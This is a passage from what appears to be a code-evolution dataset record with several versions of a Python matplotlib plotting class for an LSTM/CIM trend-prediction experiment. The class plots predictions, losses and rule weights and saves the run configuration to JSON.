setting = dict(APP_NUM=cfg.APP_NUM, SPAN=cfg.SPAN, REVEAL_TREND=cfg\n .REVEAL_TREND, FIRST_RULE_NUM=cfg.FIRST_RULE_NUM,\n SHIFT_TREND_RULE=cfg.SHIFT_TREND_RULE, APPEAR_RATE=cfg.\n APPEAR_RATE, DISAPPEAR_RATE=cfg.DISAPPEAR_RATE,\n EVALUATE_THRESHOLD_PRED_FAIL=cfg.EVALUATE_THRESHOLD_PRED_FAIL,\n SAMPLING=cfg.SAMPLING, EVALUATE_THRESHOLD_DELETE_RULE=cfg.\n EVALUATE_THRESHOLD_DELETE_RULE, EVALUATE_THRESHOLD_ADD_RULE=cfg\n .EVALUATE_THRESHOLD_ADD_RULE, EVALUATE_THRESHOLD_MERGE_RULE=cfg\n .EVALUATE_THRESHOLD_MERGE_RULE, THRESHOLD_APPNUM=cfg.\n THRESHOLD_APPNUM, TRY_NEWRULE_NUM=cfg.TRY_NEWRULE_NUM,\n LSTM_REFERENCE_STEPS=cfg.LSTM_REFERENCE_STEPS, LSTM_EPOCHS=cfg.\n LSTM_EPOCHS, NN_EPOCHS=cfg.NN_EPOCHS, DATATYPE=[dict(name=feat[\n 'name'], type=str(type(feat['data']))) for feat in cfg.DATATYPE\n ], FIRST_BIN=cfg.FIRST_BIN)\n fw = open(self.dire + name + '.json', 'w')\n json.dump(setting, fw, indent=4)\n return\n", "step-3": "<mask token>\n\n\nclass figure:\n\n def __init__(self, dire, dpi, span, data, CIM, learn_loss=None,\n eval_loss=None, different_dir_app=True, reference_steps=0,\n reveal_trend=1):\n self.dire = self.new_num_directory(dire)\n self.app_dire = [self.make_num_directory('app', i) for i in range(\n data.app_num)]\n self.trend_dire = [self.make_num_directory('trend', i) for i in\n range(len(data.trend_rule.w))]\n self.dpi = dpi\n self.span = span\n self.app = data.apps\n self.trend_rule = data.trend_rule\n self.prediction = CIM.prediction\n self.prediction_e = CIM.prediction_est_rule\n self.prediction_only_ci = CIM.prediction_only_ci\n self.predfail_app_num = CIM.predfail_app_num\n self.cap_rule_num = CIM.cap_rule_num\n self.add_rule_num = CIM.add_rule_num\n self.lost_rule_num = CIM.lost_rule_num\n self.useless_rule_num = CIM.useless_rule_num\n self.merge_rule_num = CIM.merge_rule_num\n self.learn_loss = learn_loss\n self.eval_loss = eval_loss\n self.diff_dir = different_dir_app\n self.reference_steps = reference_steps\n self.reveal_trend = reveal_trend\n\n def new_num_directory(self, path):\n n = 1\n while True:\n if not os.path.exists(path + '_' + str(n)):\n os.mkdir(path + '_' + str(n))\n break\n else:\n n += 1\n return path + '_' + str(n) + '/'\n\n def make_num_directory(self, name, num):\n os.mkdir(self.dire + '/' + name + '_' + str(num))\n return self.dire + '/' + name + '_' + str(num) + '/'\n\n def find_min_max(self, data_list, length, standarize_zero=True):\n if standarize_zero:\n min = 0\n max = 0\n else:\n min = data_list[0][0]\n max = data_list[0][0]\n for data in data_list:\n for j in range(length):\n if j < len(data):\n if data[j] < min:\n min = data[j]\n if data[j] > max:\n max = data[j]\n return min, max\n\n def savefig_result(self, name):\n x = list(range(self.span))\n if self.diff_dir:\n if len(self.trend_rule.w) <= 10:\n cycle_tr = plt.rcParams['axes.prop_cycle'].by_key()['color']\n elif len(self.trend_rule.w) <= 20:\n cycle_tr = plt.cm.get_cmap('tab20').colors\n else:\n cycle_tr = list(colors.XKCD_COLORS.items())[:100]\n for i, app in enumerate(self.app):\n min, max = self.find_min_max([self.prediction[i], self.\n prediction_e[i]], self.span)\n plt.figure(figsize=(len(x) / 10, 5.5))\n for j in range(len(self.trend_rule.w)):\n plt.fill_between([j - 0.5, j + 0.5], [max * 1.1 + 0.1, \n max * 1.1 + 0.1], [min * 1.1 - 0.1, min * 1.1 - 0.1\n ], facecolor=cycle_tr[j], alpha=0.2, label=\n 'Chosenrule:' + str(j))\n for j in range(self.span):\n plt.fill_between([j - 0.5, j + 0.5], [max * 1.1 + 0.1, \n max * 1.1 + 0.1], [min * 1.1 - 0.1, min * 1.1 - 0.1\n ], facecolor=cycle_tr[self.app[i].trend_idx[j]],\n alpha=0.2)\n plt.plot(x, app.trend, label='trend', linestyle='dotted',\n color='black')\n plt.plot(x[self.reference_steps:], self.prediction[i],\n label='LSTM pred', linestyle='dotted', color='blue')\n plt.plot(x[self.reference_steps + self.reveal_trend:], self\n .prediction_e[i], label='CIM pred', color='orange')\n if self.learn_loss is not None:\n plt.scatter(x[self.reference_steps + self.reveal_trend:\n ], self.learn_loss[i], alpha=0.3, label='learn loss')\n if self.eval_loss is not None:\n plt.scatter(x[self.reference_steps + self.reveal_trend:\n ], self.eval_loss[i], alpha=0.3, marker='X', label=\n 'eval loss')\n plt.xlabel('season')\n plt.ylabel('trend value')\n plt.legend(bbox_to_anchor=(1.05, 1), loc='upper left')\n plt.subplots_adjust(right=0.8)\n plt.savefig(self.app_dire[i] + name + '.png', dpi=self.dpi)\n plt.clf()\n else:\n plt.figure(figsize=(len(x) / 10, 5.5))\n if len(self.app) <= 10:\n cycle_app = plt.rcParams['axes.prop_cycle'].by_key()['color']\n elif len(self.app) <= 20:\n cycle_app = plt.cm.get_cmap('tab20').colors\n else:\n cycle_app = list(colors.XKCD_COLORS.items())[:100]\n for i, app in enumerate(self.app):\n plt.plot(x, self.app[i].trend, color=cycle_app[i], label=\n 'trend (app:' + str(i) + ')', linestyle='dotted')\n plt.plot(x[self.reference_steps:], self.prediction[i],\n color=cycle_app[i], label='pred (app:' + str(i) + ')')\n if self.learn_loss is not None:\n plt.scatter(x[self.reference_steps + self.reveal_trend:\n ], self.learn_loss[i], color=cycle_app[i], alpha=\n 0.3, label='learn loss (app:' + str(i) + ')')\n if self.eval_loss is not None:\n plt.scatter(x[self.reference_steps + self.reveal_trend:\n ], self.eval_loss[i], color=cycle_app[i], alpha=0.3,\n marker='X', label='evalu loss (app:' + str(i) + ')')\n plt.xlabel('season')\n plt.ylabel('trend value')\n plt.legend(bbox_to_anchor=(1.05, 1), loc='upper left')\n plt.subplots_adjust(right=0.8)\n plt.savefig(self.dire + name + '.png', dpi=self.dpi)\n plt.clf()\n return\n\n def savefig_ruleweight(self, name):\n x = list(range(self.span))\n if self.diff_dir:\n if len(self.trend_rule.w[0]['value']) <= 10:\n cycle_ft = plt.rcParams['axes.prop_cycle'].by_key()['color']\n elif len(self.trend_rule.w[0]['value']) <= 20:\n cycle_ft = plt.cm.get_cmap('tab20').colors\n else:\n cycle_ft = list(colors.XKCD_COLORS.items())[:100]\n for i in range(len(self.trend_rule.w)):\n plt.figure(figsize=(len(x) / 10, 5.5))\n for j in range(len(self.trend_rule.w[i]['value'])):\n plt.plot(x, self.trend_rule.w[i]['value'][j][:-1],\n color=cycle_ft[j], label='feature:' + str(j))\n plt.xlabel('season')\n plt.ylabel('weight of trend rule')\n plt.legend(bbox_to_anchor=(1.05, 1), loc='upper left')\n plt.subplots_adjust(right=0.8)\n plt.savefig(self.trend_dire[i] + name + '.png', dpi=self.dpi)\n plt.clf()\n else:\n plt.figure(figsize=(len(x) / 10, 5.5))\n if len(self.trend_rule.w) <= 10:\n cycle_tr = plt.rcParams['axes.prop_cycle'].by_key()['color']\n elif len(self.trend_rule.w) <= 20:\n cycle_tr = plt.cm.get_cmap('tab20').colors\n else:\n cycle_tr = list(colors.XKCD_COLORS.items())[:100]\n if len(self.trend_rule.w[0]['value']) <= 10:\n cycle_ft = plt.rcParams['axes.prop_cycle'].by_key()['color']\n elif len(self.trend_rule.w[0]['value']) <= 20:\n cycle_ft = plt.cm.get_cmap('tab20').colors\n else:\n cycle_ft = list(colors.XKCD_COLORS.items())[:100]\n width = 0.8 / len(self.trend_rule.w[0]['value'])\n for i in range(len(self.trend_rule.w)):\n bottom = np.array(-i * 2.0)\n for j in range(len(self.trend_rule.w[i]['value'])):\n if i == 0:\n plt.bar(x + np.array([width * float(j)] * len(x)),\n self.trend_rule.w[i][j][:-1], color=cycle_ft[j],\n align='edge', bottom=bottom, width=width, label\n ='feature:' + str(j))\n else:\n plt.bar(x + np.array([width * float(j)] * len(x)),\n self.trend_rule.w[i]['value'][j][:-1], color=\n cycle_ft[j], align='edge', bottom=bottom, width\n =width)\n plt.fill_between(list(range(self.span + 1)), [-i * 2.0 + 1] *\n (len(x) + 1), [-(i + 1) * 2.0 + 1] * (len(x) + 1),\n facecolor=cycle_tr[i], alpha=0.2, label='trendrule:' +\n str(i))\n plt.xlabel('season')\n plt.ylabel('weight of trend rule')\n plt.legend(bbox_to_anchor=(1.05, 1), loc='upper left')\n plt.subplots_adjust(right=0.8)\n plt.savefig(self.dire + name + '.png', dpi=self.dpi)\n plt.clf()\n return\n\n def savefig_chosenrule(self, name):\n x = list(range(self.span))\n if self.diff_dir:\n pass\n else:\n plt.figure(figsize=(len(x) / 10, 5.5))\n if len(self.app) <= 10:\n cycle_app = plt.rcParams['axes.prop_cycle'].by_key()['color']\n elif len(self.app) <= 20:\n cycle_app = plt.cm.get_cmap('tab20').colors\n else:\n cycle_app = list(colors.XKCD_COLORS.items())[:100]\n if len(self.trend_rule.w) <= 10:\n cycle_tr = plt.rcParams['axes.prop_cycle'].by_key()['color']\n elif len(self.trend_rule.w) <= 20:\n cycle_tr = plt.cm.get_cmap('tab20').colors\n else:\n cycle_tr = list(colors.XKCD_COLORS.items())[:100]\n for i in range(len(self.trend_rule.w)):\n plt.scatter(x, np.array([0] * len(x)), color=cycle_tr[i], s\n =1, marker='D', label='trendrule:' + str(i))\n for id in range(len(self.app)):\n colorArr = []\n for i in self.app[id].trend_idx:\n colorArr.append(cycle_tr[i])\n plt.scatter(x, np.array([-id] * len(x)), color=cycle_app[id\n ], s=150, label='app:' + str(id))\n plt.scatter(x, np.array([-id] * len(x)), color='w', s=70)\n plt.scatter(x, np.array([-id] * len(x)), color=colorArr, s=\n 15, marker='D', alpha=0.5)\n plt.xlabel('シーズン')\n plt.legend(bbox_to_anchor=(1.05, 1), loc='upper left')\n plt.subplots_adjust(right=0.8)\n plt.savefig(self.dire + name + '.png', dpi=self.dpi)\n plt.clf()\n return\n\n def savefig_compare_prediction(self, name):\n x = list(range(self.span))\n if self.diff_dir:\n for i in range(len(self.app)):\n plt.figure(figsize=(len(x) / 10, 5.5))\n plt.plot(x[self.reference_steps + self.reveal_trend:], np.\n abs(np.array(self.prediction_only_ci[i]) - np.array(\n self.app[i].trend[self.reference_steps + self.\n reveal_trend:])), label='only CI loss', linestyle=\n 'dotted', color='green')\n plt.plot(x[self.reference_steps:], np.abs(np.array(self.\n prediction[i]) - np.array(self.app[i].trend[self.\n reference_steps:])), label='LSTM loss', linestyle=\n 'dotted', color='blue')\n plt.plot(x[self.reference_steps + self.reveal_trend:], np.\n abs(np.array(self.prediction_e[i]) - np.array(self.app[\n i].trend[self.reference_steps + self.reveal_trend:])),\n label='CIM loss', color='orange')\n plt.xlabel('season')\n plt.ylabel('prediction loss')\n plt.legend(bbox_to_anchor=(1.05, 1), loc='upper left')\n plt.subplots_adjust(right=0.8)\n plt.savefig(self.app_dire[i] + name + '.png', dpi=self.dpi)\n plt.clf()\n else:\n plt.figure(figsize=(len(x) / 10, 5.5))\n if len(self.app) <= 10:\n cycle_app = plt.rcParams['axes.prop_cycle'].by_key()['color']\n elif len(self.app) <= 20:\n cycle_app = plt.cm.get_cmap('tab20').colors\n else:\n cycle_app = list(colors.XKCD_COLORS.items())[:100]\n for id in range(len(self.app)):\n plt.plot(x[self.reference_steps:], np.abs(np.array(self.\n prediction[id]) - np.array(self.app[id].trend[self.\n reference_steps:])), color=cycle_app[id], label=\n 'classify loss (app:' + str(id) + ')', linestyle='dotted')\n plt.plot(x[self.reference_steps + self.reveal_trend:], np.\n abs(np.array(self.prediction_e[id]) - np.array(self.app\n [id].trend[self.reference_steps + self.reveal_trend:])),\n color=cycle_app[id], label='analyse loss (app:' + str(\n id) + ')')\n plt.xlabel('season')\n plt.ylabel('prediction loss')\n plt.legend(bbox_to_anchor=(1.05, 1), loc='upper left')\n plt.subplots_adjust(right=0.8)\n plt.savefig(self.dire + name + '.png', dpi=self.dpi)\n plt.clf()\n return\n\n def savefig_compare_prediction_ave(self, name):\n x = list(range(self.span))\n if self.diff_dir:\n prediction = []\n prediction_e = []\n prediction_ci = []\n for j in range(self.span - self.reference_steps):\n sum = 0\n sum_e = 0\n sum_ci = 0\n for i in range(len(self.app)):\n sum += (self.prediction[i][j] - self.app[i].trend[j +\n self.reference_steps]) ** 2\n if (j < self.span - self.reference_steps - self.\n reveal_trend):\n sum_e += (self.prediction_e[i][j] - self.app[i].\n trend[j + self.reference_steps + self.reveal_trend]\n ) ** 2\n sum_ci += (self.prediction_e[i][j] - self.app[i].\n trend[j + self.reference_steps + self.reveal_trend]\n ) ** 2\n prediction.append(sum / len(self.app))\n if j < self.span - self.reference_steps - self.reveal_trend:\n prediction_e.append(sum_e / len(self.app))\n prediction_ci.append(sum_ci / len(self.app))\n plt.figure(figsize=(len(x) / 10, 5.5))\n plt.xlabel('season')\n plt.ylabel('prediction loss average')\n plt.plot(x[self.reference_steps + self.reveal_trend:],\n prediction_ci, label='only CI loss', linestyle='dotted')\n plt.plot(x[self.reference_steps:], prediction, label=\n 'LSTM loss', linestyle='dotted')\n plt.plot(x[self.reference_steps + self.reveal_trend:],\n prediction_e, label='CIM loss')\n plt.legend(bbox_to_anchor=(1.05, 1), loc='upper left')\n plt.subplots_adjust(right=0.8)\n plt.savefig(self.dire + name + '.png', dpi=self.dpi)\n plt.clf()\n\n def savefig_rule_num(self, name):\n x = list(range(self.span))\n plt.figure(figsize=(len(x) / 10, 5.5))\n chart_num = 6\n width = 0.8 / chart_num\n plt.plot(x[self.reference_steps + self.reveal_trend:], self.\n predfail_app_num, label='truth rule number')\n plt.plot(x[self.reference_steps + self.reveal_trend:], self.\n predfail_app_num, label='prediction fail app')\n plt.plot(x[self.reference_steps + self.reveal_trend:], self.\n cap_rule_num, label='captured rule')\n plt.plot(x[self.reference_steps + self.reveal_trend:], self.\n add_rule_num, label='add rule')\n plt.plot(x[self.reference_steps + self.reveal_trend:], self.\n lost_rule_num, label='lost rule')\n plt.plot(x[self.reference_steps + self.reveal_trend:], self.\n useless_rule_num, label='useless rule')\n plt.plot(x[self.reference_steps + self.reveal_trend:], self.\n merge_rule_num, label='merge rule')\n plt.xlabel('season')\n plt.ylabel('number')\n plt.legend(bbox_to_anchor=(1.05, 1), loc='upper left')\n plt.subplots_adjust(right=0.8)\n plt.savefig(self.dire + name + '.png', dpi=self.dpi)\n plt.clf()\n return\n\n def save_config(self, name, cfg):\n import json\n setting = dict(APP_NUM=cfg.APP_NUM, SPAN=cfg.SPAN, REVEAL_TREND=cfg\n .REVEAL_TREND, FIRST_RULE_NUM=cfg.FIRST_RULE_NUM,\n SHIFT_TREND_RULE=cfg.SHIFT_TREND_RULE, APPEAR_RATE=cfg.\n APPEAR_RATE, DISAPPEAR_RATE=cfg.DISAPPEAR_RATE,\n EVALUATE_THRESHOLD_PRED_FAIL=cfg.EVALUATE_THRESHOLD_PRED_FAIL,\n SAMPLING=cfg.SAMPLING, EVALUATE_THRESHOLD_DELETE_RULE=cfg.\n EVALUATE_THRESHOLD_DELETE_RULE, EVALUATE_THRESHOLD_ADD_RULE=cfg\n .EVALUATE_THRESHOLD_ADD_RULE, EVALUATE_THRESHOLD_MERGE_RULE=cfg\n .EVALUATE_THRESHOLD_MERGE_RULE, THRESHOLD_APPNUM=cfg.\n THRESHOLD_APPNUM, TRY_NEWRULE_NUM=cfg.TRY_NEWRULE_NUM,\n LSTM_REFERENCE_STEPS=cfg.LSTM_REFERENCE_STEPS, LSTM_EPOCHS=cfg.\n LSTM_EPOCHS, NN_EPOCHS=cfg.NN_EPOCHS, DATATYPE=[dict(name=feat[\n 'name'], type=str(type(feat['data']))) for feat in cfg.DATATYPE\n ], FIRST_BIN=cfg.FIRST_BIN)\n fw = open(self.dire + name + '.json', 'w')\n json.dump(setting, fw, indent=4)\n return\n", "step-4": "import os\nfrom matplotlib import pyplot as plt\nfrom matplotlib import colors\nimport numpy as np\n\n\nclass figure:\n\n def __init__(self, dire, dpi, span, data, CIM, learn_loss=None,\n eval_loss=None, different_dir_app=True, reference_steps=0,\n reveal_trend=1):\n self.dire = self.new_num_directory(dire)\n self.app_dire = [self.make_num_directory('app', i) for i in range(\n data.app_num)]\n self.trend_dire = [self.make_num_directory('trend', i) for i in\n range(len(data.trend_rule.w))]\n self.dpi = dpi\n self.span = span\n self.app = data.apps\n self.trend_rule = data.trend_rule\n self.prediction = CIM.prediction\n self.prediction_e = CIM.prediction_est_rule\n self.prediction_only_ci = CIM.prediction_only_ci\n self.predfail_app_num = CIM.predfail_app_num\n self.cap_rule_num = CIM.cap_rule_num\n self.add_rule_num = CIM.add_rule_num\n self.lost_rule_num = CIM.lost_rule_num\n self.useless_rule_num = CIM.useless_rule_num\n self.merge_rule_num = CIM.merge_rule_num\n self.learn_loss = learn_loss\n self.eval_loss = eval_loss\n self.diff_dir = different_dir_app\n self.reference_steps = reference_steps\n self.reveal_trend = reveal_trend\n\n def new_num_directory(self, path):\n n = 1\n while True:\n if not os.path.exists(path + '_' + str(n)):\n os.mkdir(path + '_' + str(n))\n break\n else:\n n += 1\n return path + '_' + str(n) + '/'\n\n def make_num_directory(self, name, num):\n os.mkdir(self.dire + '/' + name + '_' + str(num))\n return self.dire + '/' + name + '_' + str(num) + '/'\n\n def find_min_max(self, data_list, length, standarize_zero=True):\n if standarize_zero:\n min = 0\n max = 0\n else:\n min = data_list[0][0]\n max = data_list[0][0]\n for data in data_list:\n for j in range(length):\n if j < len(data):\n if data[j] < min:\n min = data[j]\n if data[j] > max:\n max = data[j]\n return min, max\n\n def savefig_result(self, name):\n x = list(range(self.span))\n if self.diff_dir:\n if len(self.trend_rule.w) <= 10:\n cycle_tr = plt.rcParams['axes.prop_cycle'].by_key()['color']\n elif len(self.trend_rule.w) <= 20:\n cycle_tr = plt.cm.get_cmap('tab20').colors\n else:\n cycle_tr = list(colors.XKCD_COLORS.items())[:100]\n for i, app in enumerate(self.app):\n min, max = self.find_min_max([self.prediction[i], self.\n prediction_e[i]], self.span)\n plt.figure(figsize=(len(x) / 10, 5.5))\n for j in range(len(self.trend_rule.w)):\n plt.fill_between([j - 0.5, j + 0.5], [max * 1.1 + 0.1, \n max * 1.1 + 0.1], [min * 1.1 - 0.1, min * 1.1 - 0.1\n ], facecolor=cycle_tr[j], alpha=0.2, label=\n 'Chosenrule:' + str(j))\n for j in range(self.span):\n plt.fill_between([j - 0.5, j + 0.5], [max * 1.1 + 0.1, \n max * 1.1 + 0.1], [min * 1.1 - 0.1, min * 1.1 - 0.1\n ], facecolor=cycle_tr[self.app[i].trend_idx[j]],\n alpha=0.2)\n plt.plot(x, app.trend, label='trend', linestyle='dotted',\n color='black')\n plt.plot(x[self.reference_steps:], self.prediction[i],\n label='LSTM pred', linestyle='dotted', color='blue')\n plt.plot(x[self.reference_steps + self.reveal_trend:], self\n .prediction_e[i], label='CIM pred', color='orange')\n if self.learn_loss is not None:\n plt.scatter(x[self.reference_steps + self.reveal_trend:\n ], self.learn_loss[i], alpha=0.3, label='learn loss')\n if self.eval_loss is not None:\n plt.scatter(x[self.reference_steps + self.reveal_trend:\n ], self.eval_loss[i], alpha=0.3, marker='X', label=\n 'eval loss')\n plt.xlabel('season')\n plt.ylabel('trend value')\n plt.legend(bbox_to_anchor=(1.05, 1), loc='upper left')\n plt.subplots_adjust(right=0.8)\n plt.savefig(self.app_dire[i] + name + '.png', dpi=self.dpi)\n plt.clf()\n else:\n plt.figure(figsize=(len(x) / 10, 5.5))\n if len(self.app) <= 10:\n cycle_app = plt.rcParams['axes.prop_cycle'].by_key()['color']\n elif len(self.app) <= 20:\n cycle_app = plt.cm.get_cmap('tab20').colors\n else:\n cycle_app = list(colors.XKCD_COLORS.items())[:100]\n for i, app in enumerate(self.app):\n plt.plot(x, self.app[i].trend, color=cycle_app[i], label=\n 'trend (app:' + str(i) + ')', linestyle='dotted')\n plt.plot(x[self.reference_steps:], self.prediction[i],\n color=cycle_app[i], label='pred (app:' + str(i) + ')')\n if self.learn_loss is not None:\n plt.scatter(x[self.reference_steps + self.reveal_trend:\n ], self.learn_loss[i], color=cycle_app[i], alpha=\n 0.3, label='learn loss (app:' + str(i) + ')')\n if self.eval_loss is not None:\n plt.scatter(x[self.reference_steps + self.reveal_trend:\n ], self.eval_loss[i], color=cycle_app[i], alpha=0.3,\n marker='X', label='evalu loss (app:' + str(i) + ')')\n plt.xlabel('season')\n plt.ylabel('trend value')\n plt.legend(bbox_to_anchor=(1.05, 1), loc='upper left')\n plt.subplots_adjust(right=0.8)\n plt.savefig(self.dire + name + '.png', dpi=self.dpi)\n plt.clf()\n return\n\n def savefig_ruleweight(self, name):\n x = list(range(self.span))\n if self.diff_dir:\n if len(self.trend_rule.w[0]['value']) <= 10:\n cycle_ft = plt.rcParams['axes.prop_cycle'].by_key()['color']\n elif len(self.trend_rule.w[0]['value']) <= 20:\n cycle_ft = plt.cm.get_cmap('tab20').colors\n else:\n cycle_ft = list(colors.XKCD_COLORS.items())[:100]\n for i in range(len(self.trend_rule.w)):\n plt.figure(figsize=(len(x) / 10, 5.5))\n for j in range(len(self.trend_rule.w[i]['value'])):\n plt.plot(x, self.trend_rule.w[i]['value'][j][:-1],\n color=cycle_ft[j], label='feature:' + str(j))\n plt.xlabel('season')\n plt.ylabel('weight of trend rule')\n plt.legend(bbox_to_anchor=(1.05, 1), loc='upper left')\n plt.subplots_adjust(right=0.8)\n plt.savefig(self.trend_dire[i] + name + '.png', dpi=self.dpi)\n plt.clf()\n else:\n plt.figure(figsize=(len(x) / 10, 5.5))\n if len(self.trend_rule.w) <= 10:\n cycle_tr = plt.rcParams['axes.prop_cycle'].by_key()['color']\n elif len(self.trend_rule.w) <= 20:\n cycle_tr = plt.cm.get_cmap('tab20').colors\n else:\n cycle_tr = list(colors.XKCD_COLORS.items())[:100]\n if len(self.trend_rule.w[0]['value']) <= 10:\n cycle_ft = plt.rcParams['axes.prop_cycle'].by_key()['color']\n elif len(self.trend_rule.w[0]['value']) <= 20:\n cycle_ft = plt.cm.get_cmap('tab20').colors\n else:\n cycle_ft = list(colors.XKCD_COLORS.items())[:100]\n width = 0.8 / len(self.trend_rule.w[0]['value'])\n for i in range(len(self.trend_rule.w)):\n bottom = np.array(-i * 2.0)\n for j in range(len(self.trend_rule.w[i]['value'])):\n if i == 0:\n plt.bar(x + np.array([width * float(j)] * len(x)),\n self.trend_rule.w[i][j][:-1], color=cycle_ft[j],\n align='edge', bottom=bottom, width=width, label\n ='feature:' + str(j))\n else:\n plt.bar(x + np.array([width * float(j)] * len(x)),\n self.trend_rule.w[i]['value'][j][:-1], color=\n cycle_ft[j], align='edge', bottom=bottom, width\n =width)\n plt.fill_between(list(range(self.span + 1)), [-i * 2.0 + 1] *\n (len(x) + 1), [-(i + 1) * 2.0 + 1] * (len(x) + 1),\n facecolor=cycle_tr[i], alpha=0.2, label='trendrule:' +\n str(i))\n plt.xlabel('season')\n plt.ylabel('weight of trend rule')\n plt.legend(bbox_to_anchor=(1.05, 1), loc='upper left')\n plt.subplots_adjust(right=0.8)\n plt.savefig(self.dire + name + '.png', dpi=self.dpi)\n plt.clf()\n return\n\n def savefig_chosenrule(self, name):\n x = list(range(self.span))\n if self.diff_dir:\n pass\n else:\n plt.figure(figsize=(len(x) / 10, 5.5))\n if len(self.app) <= 10:\n cycle_app = plt.rcParams['axes.prop_cycle'].by_key()['color']\n elif len(self.app) <= 20:\n cycle_app = plt.cm.get_cmap('tab20').colors\n else:\n cycle_app = list(colors.XKCD_COLORS.items())[:100]\n if len(self.trend_rule.w) <= 10:\n cycle_tr = plt.rcParams['axes.prop_cycle'].by_key()['color']\n elif len(self.trend_rule.w) <= 20:\n cycle_tr = plt.cm.get_cmap('tab20').colors\n else:\n cycle_tr = list(colors.XKCD_COLORS.items())[:100]\n for i in range(len(self.trend_rule.w)):\n plt.scatter(x, np.array([0] * len(x)), color=cycle_tr[i], s\n =1, marker='D', label='trendrule:' + str(i))\n for id in range(len(self.app)):\n colorArr = []\n for i in self.app[id].trend_idx:\n colorArr.append(cycle_tr[i])\n plt.scatter(x, np.array([-id] * len(x)), color=cycle_app[id\n ], s=150, label='app:' + str(id))\n plt.scatter(x, np.array([-id] * len(x)), color='w', s=70)\n plt.scatter(x, np.array([-id] * len(x)), color=colorArr, s=\n 15, marker='D', alpha=0.5)\n plt.xlabel('シーズン')\n plt.legend(bbox_to_anchor=(1.05, 1), loc='upper left')\n plt.subplots_adjust(right=0.8)\n plt.savefig(self.dire + name + '.png', dpi=self.dpi)\n plt.clf()\n return\n\n def savefig_compare_prediction(self, name):\n x = list(range(self.span))\n if self.diff_dir:\n for i in range(len(self.app)):\n plt.figure(figsize=(len(x) / 10, 5.5))\n plt.plot(x[self.reference_steps + self.reveal_trend:], np.\n abs(np.array(self.prediction_only_ci[i]) - np.array(\n self.app[i].trend[self.reference_steps + self.\n reveal_trend:])), label='only CI loss', linestyle=\n 'dotted', color='green')\n plt.plot(x[self.reference_steps:], np.abs(np.array(self.\n prediction[i]) - np.array(self.app[i].trend[self.\n reference_steps:])), label='LSTM loss', linestyle=\n 'dotted', color='blue')\n plt.plot(x[self.reference_steps + self.reveal_trend:], np.\n abs(np.array(self.prediction_e[i]) - np.array(self.app[\n i].trend[self.reference_steps + self.reveal_trend:])),\n label='CIM loss', color='orange')\n plt.xlabel('season')\n plt.ylabel('prediction loss')\n plt.legend(bbox_to_anchor=(1.05, 1), loc='upper left')\n plt.subplots_adjust(right=0.8)\n plt.savefig(self.app_dire[i] + name + '.png', dpi=self.dpi)\n plt.clf()\n else:\n plt.figure(figsize=(len(x) / 10, 5.5))\n if len(self.app) <= 10:\n cycle_app = plt.rcParams['axes.prop_cycle'].by_key()['color']\n elif len(self.app) <= 20:\n cycle_app = plt.cm.get_cmap('tab20').colors\n else:\n cycle_app = list(colors.XKCD_COLORS.items())[:100]\n for id in range(len(self.app)):\n plt.plot(x[self.reference_steps:], np.abs(np.array(self.\n prediction[id]) - np.array(self.app[id].trend[self.\n reference_steps:])), color=cycle_app[id], label=\n 'classify loss (app:' + str(id) + ')', linestyle='dotted')\n plt.plot(x[self.reference_steps + self.reveal_trend:], np.\n abs(np.array(self.prediction_e[id]) - np.array(self.app\n [id].trend[self.reference_steps + self.reveal_trend:])),\n color=cycle_app[id], label='analyse loss (app:' + str(\n id) + ')')\n plt.xlabel('season')\n plt.ylabel('prediction loss')\n plt.legend(bbox_to_anchor=(1.05, 1), loc='upper left')\n plt.subplots_adjust(right=0.8)\n plt.savefig(self.dire + name + '.png', dpi=self.dpi)\n plt.clf()\n return\n\n def savefig_compare_prediction_ave(self, name):\n x = list(range(self.span))\n if self.diff_dir:\n prediction = []\n prediction_e = []\n prediction_ci = []\n for j in range(self.span - self.reference_steps):\n sum = 0\n sum_e = 0\n sum_ci = 0\n for i in range(len(self.app)):\n sum += (self.prediction[i][j] - self.app[i].trend[j +\n self.reference_steps]) ** 2\n if (j < self.span - self.reference_steps - self.\n reveal_trend):\n sum_e += (self.prediction_e[i][j] - self.app[i].\n trend[j + self.reference_steps + self.reveal_trend]\n ) ** 2\n sum_ci += (self.prediction_e[i][j] - self.app[i].\n trend[j + self.reference_steps + self.reveal_trend]\n ) ** 2\n prediction.append(sum / len(self.app))\n if j < self.span - self.reference_steps - self.reveal_trend:\n prediction_e.append(sum_e / len(self.app))\n prediction_ci.append(sum_ci / len(self.app))\n plt.figure(figsize=(len(x) / 10, 5.5))\n plt.xlabel('season')\n plt.ylabel('prediction loss average')\n plt.plot(x[self.reference_steps + self.reveal_trend:],\n prediction_ci, label='only CI loss', linestyle='dotted')\n plt.plot(x[self.reference_steps:], prediction, label=\n 'LSTM loss', linestyle='dotted')\n plt.plot(x[self.reference_steps + self.reveal_trend:],\n prediction_e, label='CIM loss')\n plt.legend(bbox_to_anchor=(1.05, 1), loc='upper left')\n plt.subplots_adjust(right=0.8)\n plt.savefig(self.dire + name + '.png', dpi=self.dpi)\n plt.clf()\n\n def savefig_rule_num(self, name):\n x = list(range(self.span))\n plt.figure(figsize=(len(x) / 10, 5.5))\n chart_num = 6\n width = 0.8 / chart_num\n plt.plot(x[self.reference_steps + self.reveal_trend:], self.\n predfail_app_num, label='truth rule number')\n plt.plot(x[self.reference_steps + self.reveal_trend:], self.\n predfail_app_num, label='prediction fail app')\n plt.plot(x[self.reference_steps + self.reveal_trend:], self.\n cap_rule_num, label='captured rule')\n plt.plot(x[self.reference_steps + self.reveal_trend:], self.\n add_rule_num, label='add rule')\n plt.plot(x[self.reference_steps + self.reveal_trend:], self.\n lost_rule_num, label='lost rule')\n plt.plot(x[self.reference_steps + self.reveal_trend:], self.\n useless_rule_num, label='useless rule')\n plt.plot(x[self.reference_steps + self.reveal_trend:], self.\n merge_rule_num, label='merge rule')\n plt.xlabel('season')\n plt.ylabel('number')\n plt.legend(bbox_to_anchor=(1.05, 1), loc='upper left')\n plt.subplots_adjust(right=0.8)\n plt.savefig(self.dire + name + '.png', dpi=self.dpi)\n plt.clf()\n return\n\n def save_config(self, name, cfg):\n import json\n setting = dict(APP_NUM=cfg.APP_NUM, SPAN=cfg.SPAN, REVEAL_TREND=cfg\n .REVEAL_TREND, FIRST_RULE_NUM=cfg.FIRST_RULE_NUM,\n SHIFT_TREND_RULE=cfg.SHIFT_TREND_RULE, APPEAR_RATE=cfg.\n APPEAR_RATE, DISAPPEAR_RATE=cfg.DISAPPEAR_RATE,\n EVALUATE_THRESHOLD_PRED_FAIL=cfg.EVALUATE_THRESHOLD_PRED_FAIL,\n SAMPLING=cfg.SAMPLING, EVALUATE_THRESHOLD_DELETE_RULE=cfg.\n 